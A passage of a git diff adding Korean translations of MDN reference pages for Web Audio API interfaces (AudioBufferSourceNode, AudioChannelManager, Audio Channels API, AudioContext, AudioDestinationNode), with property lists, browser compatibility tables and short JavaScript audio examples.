+<p><code>AudioBufferSourceNode</code> 는 입력정보를 가지지 않고 정확히 하나의 출력정보를 가진다. 출력상의 여러 채널은 <code>AudioBufferSourceNode.buffer</code> 프로퍼티로로 동작할 {{domxref("AudioBuffer")}} 의 채널의 수와 일치한다. 만약에 <code>AudioBufferSourceNode.buffer</code>가 <code>null</code>이라면 출력은 오직 무음으로 출력이된다. {{domxref("AudioBufferSourceNode")}}는 오직 한번만 재생이 된다. 즉 <code>AudioBufferSourceNode.start()</code>가 한번만 호출될수 있다. 만약에 한번더 재생하기를 원한다면 또 다른 <code>AudioBufferSourceNode</code>를 생성해야 한다. 이 노드는 매우 간편히 생성가능하다.  <code>AudioBuffer</code>는 다른 곳에서 접근해 재생이 가능하다. <code>AudioBufferSourceNode</code>s는 "fire and forget(쓰고 잊자)" 처럼 한번 쓰고 나면 해당노드의 모든 참조들이 없어지고 자동적으로 가비지 콜렉터로 가게된다.</p>
+
+<p>여러번 실행을 하면 <code>AudioBufferSourceNode.stop()</code>을 통해 정지가 가능하다. 가장 최근의 실행된것이 이전의 것으로 대체가 되어 <code>AudioBufferSourceNode</code>버퍼의 마지막에 도착하지 않은 상태가 된다.</p>
+
+<p><br>
+ <img alt="The AudioBufferSourceNode takes the content of an AudioBuffer and m" src="https://mdn.mozillademos.org/files/9717/WebAudioAudioBufferSourceNode.png" style="display: block; height: 193px; margin: 0px auto; width: 365px;"></p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Number of inputs</th>
+ <td><code>0</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Number of outputs</th>
+ <td><code>1</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Channel count</th>
+ <td>defined by the associated {{domxref("AudioBuffer")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em> </em><em>{{domxref("AudioNode")}}</em> 를 부모로 가지는 프로퍼티.</p>
+
+<dl>
+ <dt>{{domxref("AudioBufferSourceNode.buffer")}}</dt>
+ <dd>{{domxref("AudioBuffer")}} 의 음원이 재생이 되거나 값이 NULL 이라면 채널하나을 무음으로 정의한다.</dd>
+ <dt>{{domxref("AudioBufferSourceNode.playbackRate")}} {{readOnlyinline}}</dt>
+ <dd>{{domxref("AudioParam")}}에는 두개의 파라메터가 있는 데 그중의 하나인 <a href="/ko/docs/Web/API/AudioParam#a-rate">a-rate</a>을 재생이될 정보의 속도요소로 정의 한다.  출력에 수정된 음의 보정이 있지않으므로 이 는 샘플의 음을 변경하는데 사용이 가능하다.</dd>
+ <dt>{{domxref("AudioBufferSourceNode.loop")}}</dt>
+ <dd>Boolean값으로 음원이 재생되어 {{domxref("AudioBuffer")}}의 끝에 다달했음을 알리는 값이다. false를 기본값으로 가진다.</dd>
+ <dt>{{domxref("AudioBufferSourceNode.loopStart")}}</dt>
+ <dd>double값으로 {{domxref("AudioBuffer")}}가 재시작이 되는 경우 반드시 발생한다. 기본값은 0이다.</dd>
+ <dt>{{domxref("AudioBufferSourceNode.loopEnd")}}</dt>
+ <dd>double값으로 {{domxref("AudioBuffer")}}가 다시 재생이 되는 경우 재생을 멈춰야 한다(그리고 결국에는 다시 시작한다). 기본값은 0이다.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("AudioBufferSourceNode.onended")}}</dt>
+ <dd>{{domxref("EventHandler")}}로 {{event("ended_(Web_Audio)", "ended")}}이벤트와 연관된 콜백함수를 가진다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>{{domxref("AudioNode")}}</em> 를 부모로 가지는 매서드.</p>
+
+<dl>
+ <dt>{{domxref("AudioBufferSourceNode.start()")}}</dt>
+ <dd>음원이 재생되는 시작되는 시점.</dd>
+ <dt>{{domxref("AudioBufferSourceNode.stop()")}}</dt>
+ <dd>음원이 재생되는 끝나는 시점.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>이 예제는 two-second buffer를 생성하여 화이트 노이즈로 채워 이를 <code>AudioBufferSourceNode을 통해 재생한다.</code></p>
+
+<div class="note">
+<p><strong>Note</strong>: You can also <a class="external external-icon" href="http://mdn.github.io/audio-buffer/">run the code live</a>, or <a class="external external-icon" href="https://github.com/mdn/audio-buffer">view the source</a>.</p>
+</div>
+
+<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var button = document.querySelector('button');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// Stereo
+var channels = 2;
+// Create an empty two-second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+
+var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+ // Fill the buffer with white noise;
+ //just random values between -1.0 and 1.0
+ for (var channel = 0; channel &lt; channels; channel++) {
+ // This gives us the actual ArrayBuffer that contains the data
+ var nowBuffering = myArrayBuffer.getChannelData(channel);
+ for (var i = 0; i &lt; frameCount; i++) {
+ // Math.random() is in [0; 1.0]
+ // audio needs to be in [-1.0; 1.0]
+ nowBuffering[i] = Math.random() * 2 - 1;
+ }
+ }
+
+ // Get an AudioBufferSourceNode.
+ // This is the AudioNode to use when we want to play an AudioBuffer
+ var source = audioCtx.createBufferSource();
+ // set the buffer in the AudioBufferSourceNode
+ source.buffer = myArrayBuffer;
+ // connect the AudioBufferSourceNode to the
+ // destination so we can hear the sound
+ source.connect(audioCtx.destination);
+ // start the source playing
+ source.start();
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: For a <code>decodeAudioData</code> example, see the {{domxref("AudioContext.decodeAudioData")}} page.</p>
+</div>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Audio API', '#the-audiobuffersourcenode-interface', 'AudioBufferSourceNode')}}</td>
+ <td>{{Spec2('Web Audio API')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{Compat("api.AudioBufferSourceNode")}}</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ko/web/api/audiochannelmanager/index.html b/files/ko/web/api/audiochannelmanager/index.html
new file mode 100644
index 0000000000..6bee14adb8
--- /dev/null
+++ b/files/ko/web/api/audiochannelmanager/index.html
@@ -0,0 +1,74 @@
+---
+title: AudioChannelManager
+slug: Web/API/AudioChannelManager
+tags:
+ - API
+ - Audio
+ - Non-standard
+translation_of: Archive/B2G_OS/API/AudioChannelManager
+---
+<p>{{APIRef("Web Audio API")}} {{Non-standard_header}}</p>
+
+<p>AudioChannelManager는 디바이스의 오디오 채널을 관리하는 기능을 포함하는 오디오 채널 API(<a href="/en-US/docs/Web/API/AudioChannels_API">AudioChannels API</a>)의 인터페이스이다. 특정한 앱 내에서 볼륨 버튼이 눌렸을 때 어떤 채널의 볼륨이 적용될지를 설정하는 기능을 포함하고 있다.</p>
+
+<h2 id="메소드">메소드</h2>
+
+<div class="note">
+<p><strong>Note</strong>: 부모클래스인 {{domxref("EventTarget")}}의 메소드를 상속받는다.</p>
+</div>
+
+<h2 id="속성">속성</h2>
+
+<div class="note">
+<p><strong>Note</strong>: 부모클래스인 {{domxref("EventTarget")}}의 속성을 상속받는다.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("AudioChannelManager.headphones")}} {{readonlyinline}}</dt>
+ <dd>헤드폰이 디바이스에 장착되었는지 여부를 나타내는 불리언 값.</dd>
+ <dt>{{domxref("AudioChannelManager.telephonySpeaker")}}</dt>
+ <dd><span class="short_text" id="result_box" lang="ko"><span class="atn">"</span><span class="atn">telephony</span><span class="atn">" </span><span>오디오</span> <span class="hps">채널이</span> <span class="hps">장치의</span> <span class="hps">스피커</span> <span class="hps">밖으로</span> <span class="atn hps">재생</span><span>할지 여부를</span> <span class="hps">설정할</span> <span class="hps">수 있도록하는</span> <span class="atn hps">불리언 값</span><span>.</span></span></dd>
+ <dt>{{domxref("AudioChannelManager.volumeControlChannel")}}</dt>
+ <dd>하드웨어 볼륨 버튼을 눌렀을 때 변경해야 할 오디오 채널에 대한 {{domxref("DOMString")}} 값.</dd>
+</dl>
+
+<h3 id="이벤트_핸들러">이벤트 핸들러</h3>
+
+<dl>
+ <dt>{{domxref("AudioChannelManager.onheadphoneschange")}}</dt>
+ <dd>헤드폰이 장착되었는지 혹은 해제되었는지 알려주는 트리거.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 간단한 예제를 보면, 앱의 <code>AudioChannelManager 객체에 접근하기 위해 </code>{{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}} 속성을 사용한다.  먼저 첫번째로 수신된 변수에 따라 {{domxref("AudioChannelManager.volumeControlChannel")}} 속성을 설정한 후, 몇 가지 기본적인 특징을 검출한다.</p>
+
+<pre class="brush: js">var channelValue = 'content';
+
+if (navigator.mozAudioChannelManager) {
+ if(channelValue == 'normal') {
+ navigator.mozAudioChannelManager.volumeControlChannel = 'normal';
+ } else if(channelValue == 'content') {
+ navigator.mozAudioChannelManager.volumeControlChannel = 'content';
+ }
+ console.log(navigator.mozAudioChannelManager.volumeControlChannel);
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 완전히 동작하는 예제를 보기 위해서는 <a href="https://github.com/mdn/audio-channels-demo">audio-channels-demo</a>를 확인하기 바란다. Firefox OS 디바이스에 앱을 설치하고 음악을 재생한 뒤, 채널을 normal 그리고 content로 지정하여 앱을 백그라운드로 전환 후 어떤 일이 발생하는지 확인하도록 한다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<p>현재 오디오 채널 API는 공식적인 명세(스펙)가 정의되어있지 않다. <a href="https://wiki.mozilla.org/WebAPI/AudioChannels">https://wiki.mozilla.org/WebAPI/AudioChannels</a>를 참고하면 WebIDL에 대한 자세한 구현사항에 대해 확인할 수 있다.</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li><a href="/en-US/Apps/Build/App_permissions">App permissions for Firefox OS</a></li>
+ <li><a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the AudioChannels API</a></li>
+ <li>{{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}}</li>
+ <li>{{domxref("HTMLMediaElement")}}</li>
+</ul>
diff --git a/files/ko/web/api/audiochannels_api/index.html b/files/ko/web/api/audiochannels_api/index.html
new file mode 100644
index 0000000000..de4d98de42
--- /dev/null
+++ b/files/ko/web/api/audiochannels_api/index.html
@@ -0,0 +1,121 @@
+---
+title: Audio Channels API
+slug: Web/API/AudioChannels_API
+tags:
+ - API
+ - Audio
+ - AudioChannels
+ - Firefox OS
+ - Non-standard
+ - Obsolete
+ - Reference
+translation_of: Archive/B2G_OS/API/Audio_Channels_API
+---
+<p>{{DefaultAPISidebar("Audio Channels API")}}</p>
+
+<div class="blockIndicator nonStandard">
+<p><strong>Non-standard</strong><br>
+ This feature is not on a current W3C standards track, but it is supported on the Firefox OS platform. Although implementations may change in the future and it is not supported widely across browsers, it is suitable for use in code dedicated to Firefox OS apps.</p>
+</div>
+
+<p class="summary">The <strong>Audio Channels API</strong> is a Firefox OS-only feature allowing you to place your app audio content into a hierarchy of importance, which dictates when the audio will be paused and resumed in response to other audio playing and actions occurring and allows you to control the volume of different types of audio independently from one another.</p>
+
+<p>Use case examples:</p>
+
+<ul>
+ <li>You want your audio player app to continue playing audio even when it is running in the background so you can do other things as it plays, but you want it to pause when someone rings your phone.</li>
+ <li>When you mute your phone you don't want to also mute your wake up alarm for the next morning.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Since the AudioChannels API is non-standard and requires permissions, for many simple use cases such as pausing game music when the app/web page goes into the background you would be better off using the standard <a href="/en-US/docs/Web/Guide/User_experience/Using_the_Page_Visibility_API">Page Visibility API</a>, or perhaps <a href="/en-US/docs/Web/API/Window/onfocus" title="The onfocus property returns the onFocus event handler code on the current element."><code>window.onfocus</code></a>/<a href="/en-US/docs/Web/API/Window/onblur" title="The onblur property returns the onBlur event handler code, if any, that exists on the current element."><code>window.onblur</code></a>. AudioChannels are mainly useful for more complex phone uses cases involving telephony, etc.</p>
+</div>
+
+<h2 id="Concepts_and_usage">Concepts and usage</h2>
+
+<p>The AudioChannels API extends the <a href="/en-US/docs/Web/API/HTMLMediaElement" title="The HTMLMediaElement interface adds to HTMLElement the properties and methods needed to support basic media-related capabilities that are common to audio and video."><code>HTMLMediaElement</code></a> and <a href="/en-US/docs/Web/API/AudioContext" title="The AudioContext interface represents an audio-processing graph built from audio modules linked together, each represented by an AudioNode. An audio context controls both the creation of the nodes it contains and the execution of the audio processing, or decoding. You need to create an AudioContext before you do anything else, as everything happens inside a context."><code>AudioContext</code></a> interfaces with (among other things) a <code>mozAudioChannelType</code> property that can be set to the channel you want your audio to be played in. The  <a href="/en-US/docs/Web/HTML/Element/audio" title="The HTML &lt;audio> element is used to embed sound content in documents. It may contain one or more audio sources, represented using the src attribute or the &lt;source> element: the browser will choose the most suitable one. It can also be the destination for streamed media, using a MediaStream."><code>&lt;audio&gt;</code></a> and <a href="/en-US/docs/Web/HTML/Element/video" title="Use the HTML &lt;video> element to embed video content in a document."><code>&lt;video&gt;</code></a> elements can also be used to set this value via the <code>mozaudiochannel</code> attribute. When your audio is placed into a channel, it is generally paused (or interrupted) by audio in a higher priority channel being played. Audio in the least important channel — <code>normal</code> — is also paused by its app being put into the background (this is not the case with the other channels). The audio channels are as follows:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Channel name</th>
+ <th scope="col">importance</th>
+ <th scope="col">Used for</th>
+ <th scope="col">App permission level</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>normal</td>
+ <td>1</td>
+ <td>UI sounds, app and web content</td>
+ <td>Normal</td>
+ </tr>
+ <tr>
+ <td>content</td>
+ <td>2</td>
+ <td>Music, radio, video</td>
+ <td>Normal</td>
+ </tr>
+ <tr>
+ <td>notification</td>
+ <td>3</td>
+ <td>New email, incoming SMS</td>
+ <td>Privileged</td>
+ </tr>
+ <tr>
+ <td>alarm</td>
+ <td>4</td>
+ <td>Alarm clock, calendar alarms</td>
+ <td>Privileged</td>
+ </tr>
+ <tr>
+ <td>ringer</td>
+ <td>5</td>
+ <td>Incoming phone calls</td>
+ <td>Certified</td>
+ </tr>
+ <tr>
+ <td>telephony</td>
+ <td>6</td>
+ <td>Ongoing phone calls, VOIP calls</td>
+ <td>Certified</td>
+ </tr>
+ <tr>
+ <td>publicnotification</td>
+ <td>7</td>
+ <td>Forced camera shutter sounds</td>
+ <td>Certified</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Each channel has a separate mute and volume setting, to provide more granular control over the different parts of audio on your device. These are accessed using the <a href="/en-US/docs/Web/API/MozAudioChannelManager" title="The documentation about this has not yet been written; please consider contributing!"><code>mozAudioChannelManager</code></a> object via the <a href="/en-US/docs/Web/API/Navigator/mozAudioChannelManager" title="The documentation about this has not yet been written; please consider contributing!"><code>navigator.mozAudioChannelManager</code></a> property.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If you have two apps playing audio in the content channel, only the one in the foreground can play audio, while the other is interrupted. When the foreground app is put into the background with audio playing, it will not be muted, as per normal "content" behaviour.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Find more out about how to use the AudioChannels API in our <a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the AudioChannels API</a> guide.</p>
+</div>
+
+<h2 id="AudioChannels_interfaces">AudioChannels interfaces</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/AudioChannelManager" title="The documentation about this has not yet been written; please consider contributing!"><code>AudioChannelManager</code></a></dt>
+ <dd>Includes some features for managing your device's audio channels, including setting what channel's volume to affect when the volume buttons are pressed inside a particular app.</dd>
+ <dt><a href="/en-US/docs/Web/API/HTMLMediaElement" title="The HTMLMediaElement interface adds to HTMLElement the properties and methods needed to support basic media-related capabilities that are common to audio and video."><code>HTMLMediaElement</code></a> and <a href="/en-US/docs/Web/API/AudioContext" title="The AudioContext interface represents an audio-processing graph built from audio modules linked together, each represented by an AudioNode. An audio context controls both the creation of the nodes it contains and the execution of the audio processing, or decoding. You need to create an AudioContext before you do anything else, as everything happens inside a context."><code>AudioContext</code></a> extensions</dt>
+ <dd><code>HTMLMediaElement</code> and <code>AudioContext</code> are extended with some proprietary features for controlling audio channels, including setting what audio channel the media is in, and events that fire when the audio is interrupted, and resumes playing.</dd>
+ <dt><a href="/en-US/docs/Web/API/Using_the_Browser_API">Browser API</a> extensions</dt>
+ <dd>The Browser API will also be including some audio channels features, for putting audio content inside a browser instance into audio channels, controlling its volume, etc., but it doesn't look like these have yet been implemented. This should occur soon.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Apps/Build/App_permissions">App permissions for Firefox OS</a></li>
+ <li><a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the Audio Channels API</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigator/mozAudioChannelManager" title="The documentation about this has not yet been written; please consider contributing!"><code>navigator.mozAudioChannelManager</code></a></li>
+ <li><a href="/en-US/docs/Web/API/HTMLMediaElement" title="The HTMLMediaElement interface adds to HTMLElement the properties and methods needed to support basic media-related capabilities that are common to audio and video."><code>HTMLMediaElement</code></a></li>
+</ul>
diff --git a/files/ko/web/api/audiocontext/index.html b/files/ko/web/api/audiocontext/index.html
new file mode 100644
index 0000000000..b42947de88
--- /dev/null
+++ b/files/ko/web/api/audiocontext/index.html
@@ -0,0 +1,179 @@
+---
+title: AudioContext
+slug: Web/API/AudioContext
+tags:
+ - 오디오
+translation_of: Web/API/AudioContext
+---
+<p>{{APIRef()}}</p>
+
+<div>
+<p><code>AudioContext는 오디오 모듈과 연동시켜 {{domxref("AudioNode")}}를 통해 음원을 그래프화 시킨다. 오디오 컨택스트는 음원정보를 담은 노드를 생성하거나 음원을 실행또는 디코딩 시키는 일을 한다.</code> 당신이 음원을 다룰일이 있다면 우선 AudioContext를 생성해야 관련된 모든 작업을 진행할 수 있다.</p>
+
+<p><code>AudioContext 이벤트의 타겟이 되므로 </code>{{domxref("EventTarget")}} 인터페이스를 통해 구현되어야 한다.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("AudioContext.currentTime")}} {{readonlyInline}}</dt>
+ <dd>double형으로 리턴되는 음원을 스케쥴링하기 위한 초단위로 증가하는 시간을 나타낸다. 이는 0부터 시작해서 진행되며 멈추거나 일시정지, 리셋을 할수는 없다.</dd>
+ <dt>{{domxref("AudioContext.destination")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("AudioDestinationNode")}} 은 컨텍스트 상의 모든 음원의 마지막 지점을 리턴한다. It can be thought of as the audio-rendering device.</dd>
+ <dt>{{domxref("AudioContext.listener")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("AudioListener")}} 오브젝트를 리턴하여 3D 사운드를 다루기 위해 사용된다.</dd>
+ <dt>{{domxref("AudioContext.sampleRate")}} {{readonlyInline}}</dt>
+ <dd>컨택스트 상의 모든 노드에서 사용될 샘플rate를 float형으로 매초 리턴한다.  {{domxref("AudioContext")}} 의 sample-rate는 변경되지 않는다.</dd>
+ <dt>{{domxref("AudioContext.mozAudioChannelType")}} {{ non-standard_inline() }} {{readonlyInline}}</dt>
+ <dd>Firefox OS의 디바이스에서 재생될 {{domxref("AudioContext")}}상의 음원의 채널을 리턴받는다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p>{{domxref("EventTarget")}}<em>을 부모로 가지는 메서드</em>.</p>
+
+<dl>
+ <dt>{{domxref("AudioContext.createBuffer()")}}</dt>
+ <dd>새롭게 빈 {{ domxref("AudioBuffer") }}를 생성해 음원데이터를 넣거나 {{domxref("AudioBufferSourceNode") }}를 통해 재생하는 역할을 한다.</dd>
+ <dt>{{domxref("AudioContext.createBufferSource()")}}</dt>
+ <dd>{{domxref("AudioBufferSourceNode")}}를 생성하여 {{ domxref("AudioBuffer")}} 객체상에 담긴 데이터를 재생하거나 수정할때 사용된다.  {{ domxref("AudioBuffer")}}들은 {{domxref("AudioContext.createBuffer")}}을 통해 생성이 되거나 {{domxref("AudioContext.decodeAudioData")}}에 의해 음원트랙이 성공적으로 디코드 되었을 경우에 리턴이 된다.</dd>
+ <dt>{{domxref("AudioContext.createMediaElementSource()")}}</dt>
+ <dd>{{domxref("HTMLMediaElement")}}와 연관된 {{domxref("MediaElementAudioSourceNode")}}을 생성한다.  이는 {{HTMLElement("video")}} 나 {{HTMLElement("audio")}} 를 재생하거나 음원을 조작할때 사용한다.</dd>
+ <dt>{{domxref("AudioContext.createMediaStreamSource()")}}</dt>
+ <dd>{{domxref("MediaStream")}} 과 연관된 {{domxref("MediaStreamAudioSourceNode")}}를 생성하여 내 컴퓨터의 마이크나 다른 소스를 통해 발생한 오디오 스트림의 정보를 보여준다.</dd>
+ <dt>{{domxref("AudioContext.createMediaStreamDestination()")}}</dt>
+ <dd>{{domxref("MediaStream")}} 과 연관된 {{domxref("MediaStreamAudioDestinationNode")}}를 생성하여 로컬파일로 저장된 혹은 다른 컴퓨터에 저장된 오디오 스트림정보를 보여준다.</dd>
+ <dt>{{domxref("AudioContext.createScriptProcessor()")}}</dt>
+ <dd>{{domxref("ScriptProcessorNode")}} 자바스크립트를 통해 음원의 진행상태에 직접접근에 사용된다.</dd>
+ <dt>{{domxref("AudioContext.createAnalyser()")}}</dt>
+ <dd>{{domxref("AnalyserNode")}}를 생성하여 오디오의 시간이나 주파수 정보를 알아내어 데이터를 시각화 하는 작업등에 사용을 할 수 있다.</dd>
+ <dt>{{domxref("AudioContext.createBiquadFilter()")}}</dt>
+ <dd>{{domxref("BiquadFilterNode")}} 를 생성하여 high-pass, low-pass, band-pass등  2차 필터의 정보를 설정 할 수 있다.</dd>
+ <dt>{{domxref("AudioContext.createChannelMerger()")}}</dt>
+ <dd>{{domxref("ChannelMergerNode")}} 두개의 오디오 스트림 정보를 하나의 오디오 스트림으로 합칠 수 있다.</dd>
+ <dt>{{domxref("AudioContext.createChannelSplitter()")}}</dt>
+ <dd>{{domxref("ChannelSplitterNode")}}를 통해 오디오 스트림의 각각의 채널정보에 접근 할 때와 스트림을 구분지어 처리할때 사용한다.</dd>
+ <dt>{{domxref("AudioContext.createConvolver()")}}</dt>
+ <dd>{{domxref("ConvolverNode")}}를 통해 convolution effects를 당신의 오디오 그래프에 적용할 때 사용한다. 예를 들면 reverberation effect 가 있다.</dd>
+ <dt>{{domxref("AudioContext.createDelay()")}}</dt>
+ <dd>{{domxref("DelayNode")}}를 통해 특정 시간동안 오디오의 입력신호를 딜레이 시킨다. 이 노드는 Web Audio API에서 피드백 루프를 생성할때 유용하다.</dd>
+ <dt>{{domxref("AudioContext.createDynamicsCompressor()")}}</dt>
+ <dd>{{domxref("DynamicsCompressorNode")}}는 음원의 신호를 암축할때 사용된다.</dd>
+ <dt>{{domxref("AudioContext.decodeAudioData()")}}</dt>
+ <dd>{{domxref("ArrayBuffer") }} 에 담긴 오디오 파일을 비동기적으로 디코딩 시킬때 사용한다. 이 경우에 일반적으로 ArrayBuffer는 <code>arraybuffer의 <code>responseType을 세팅한 후 </code></code>{{domxref("XMLHttpRequest")}}의 <code>response를 통해 데이터가 로드된다.</code> 이 메서드는 오직 완벽한 파일에서만 동작을 한다. 파편화된 오디오 파일들에서는 동작하지 않는다.</dd>
+ <dt>{{domxref("AudioContext.createGain()")}}</dt>
+ <dd>{{domxref("GainNode")}}를 생성하여 오디오 그래프의 전반적인 볼륨을 조절할때 사용한다.</dd>
+ <dt>{{domxref("AudioContext.createOscillator()")}}</dt>
+ <dd>{{domxref("OscillatorNode")}}를 통해 시간별 음원의 파형을 볼수 있다. 이는 일반적으로 음색(a tone) 을 생성한다.</dd>
+ <dt>{{domxref("AudioContext.createPanner()")}}</dt>
+ <dd>{{domxref("PannerNode")}}를 통해 입력되는 음원을 3차원으로 공간화 시킬때 사용한다.</dd>
+ <dt>{{domxref("AudioContext.createPeriodicWave()")}}</dt>
+ <dd>{{domxref("PeriodicWave")}}를 생성하여 {{ domxref("OscillatorNode") }}를 통해 출력되는 파형을 확인할수 있다.</dd>
+ <dt>{{domxref("AudioContext.createWaveShaper()")}}</dt>
+ <dd>{{domxref("WaveShaperNode")}}는 non-linear distortion effects를 적용할 때 사용한다.</dd>
+ <dt>{{domxref("AudioContext.createAudioWorker()")}}</dt>
+ <dd>{{domxref("AudioWorkerNode")}}는 Web Worker의 스레드와 상호작용을 하며 오디오를 생성, 처리, 분석등의 작업을 직접한다. 이는 2014년 8월 29일에 스펙으로 추가되어 아직 다른 브라우저에는 적용되지 않은 상태이다.</dd>
+</dl>
+
+<h2 id="Obsolete_methods">Obsolete methods</h2>
+
+<dl>
+ <dt>{{domxref("AudioContext.createJavaScriptNode()")}}</dt>
+ <dd>Creates a {{domxref("JavaScriptNode")}}, used for direct audio processing via JavaScript. This method is obsolete, and has been replaced by {{domxref("AudioContext.createScriptProcessor()")}}.</dd>
+ <dt>{{domxref("AudioContext.createWaveTable()")}}</dt>
+ <dd>Creates a {{domxref("WaveTableNode")}}, used to define a periodic waveform. This method is obsolete, and has been replaced by {{domxref("AudioContext.createPeriodicWave()")}}.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Basic audio context declaration:</p>
+
+<pre class="brush: js">var audioCtx = new AudioContext;</pre>
+
+<p>Cross browser variant:</p>
+
+<pre class="brush: js">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var oscillatorNode = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+var finish = audioCtx.destination;
+// etc.</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Audio API', '#the-audiocontext-interface', 'AudioContext')}}</td>
+ <td>{{Spec2('Web Audio API')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+ <td>{{CompatGeckoDesktop(25.0)}} </td>
+ <td>{{CompatNo}}</td>
+ <td>15.0{{property_prefix("webkit")}}<br>
+ 22 (unprefixed)</td>
+ <td>6.0{{property_prefix("webkit")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>26.0</td>
+ <td>1.2</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>33.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul style="margin-left: 40px;">
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ko/web/api/audiodestinationnode/index.html b/files/ko/web/api/audiodestinationnode/index.html
new file mode 100644
index 0000000000..f119f5ae5e
--- /dev/null
+++ b/files/ko/web/api/audiodestinationnode/index.html
@@ -0,0 +1,142 @@
+---
+title: AudioDestinationNode
+slug: Web/API/AudioDestinationNode
+tags:
+ - 오디오
+translation_of: Web/API/AudioDestinationNode
+---
+<p>{{APIRef()}}</p>
+
+<div>
+<p><code>AudioDestinationNode 은 주어진 컨택스트의 음원의 종착점을 나타냅니다. 보통 스피커를 가리킵니다. 이는 또한 </code><code>OfflineAudioContext를 사용해 데이터가 녹음되는 노드가 되기도 합니다.</code></p>
+<code>AudioDestinationNode</code> has no output (as it <em>is</em> the output, no more <code>AudioNode</code> can be linked after it in the audio graph) and one input.  입력받은 음원의 채널의 총 갯수는 반드시 0과 <code>maxChannelCount값의 사이에 있거나 예외(an exception is raised)가 발생한다.</code>
+
+<p>주어진 <code>AudioContext의 </code><code>AudioDestinationNode는 </code>{{domxref("AudioContext.destination")}}프로퍼티를 통해 검색이 된다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Number of inputs</th>
+ <td><code>1</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Number of outputs</th>
+ <td><code>0</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Channel count mode</th>
